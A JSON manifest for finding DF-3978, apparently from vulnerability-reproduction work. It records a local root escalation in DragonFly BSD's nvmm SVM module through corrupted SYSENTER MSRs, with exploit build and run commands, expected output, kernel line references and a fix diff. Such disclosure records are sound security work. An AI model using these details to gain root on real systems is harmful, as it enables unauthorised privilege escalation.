DF-3978 / manifest.json
{ "verdict": "reproduced", "impact": "uid0_privesc", "finding_id": "DF-3978", "reproduce": { "build": "cc -O2 -o /tmp/exploit exploit.c -I/usr/src/sys (DragonFly guest, QEMU TCG +svm instance; rig: make SYSDIR=/usr/src/sys)", "run": "staged campaign as unprivileged testnv (group nvmm): /tmp/exploit 1 10 40 a0 a4 baseline | arm | 0 10 40 a0 a4 consume (+ rig pfind feed via /tmp/df3978.pproc); root only reads sysctl kern.df3978_msrs between stages", "expected": "vulnerable: rig MSRs flip cs=0->0x8 esp=0->0x50000800 eip=0->0x40000000 after one unprivileged VCPU_RUN and persist after the armer exits; consume child prints '[C5] RETURNED FROM RING 0: cr0=0x80050033 marker=0x3978', arming process reports uid=0 euid=0, /tmp/df3978_pwned owned by root:wheel, guest survives. fixed module (fix.diff): MSRs stay cs=0 esp=0 eip=0, consume child dies with SIGBUS (status 138), no artifact." }, "kernel_refs": [ "sys/dev/virtual/nvmm/x86/nvmm_x86_svmfunc.S:180", "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:1524", "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:1513", "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:1646", "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:1793", "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:2005", "sys/dev/virtual/nvmm/x86/nvmm_x86_svm.c:2345", "sys/dev/virtual/nvmm/x86/nvmm_x86_vmx.c:3021", "sys/dev/virtual/nvmm/nvmm_dragonfly.c:392" ], "artifacts": [ "README.md", "VERDICT.md", "exploit.c", "df3978_rig.c", "Makefile.rig", "test_relax.diff", "build.sh", "run.sh", "build.log", "fix_build.log", "run.log", "fix_run.log", "intlog-excerpt.txt", "env.txt", "fix.diff", "sysenter_hijack.c", "manifest.json", "verdict.json" ] } |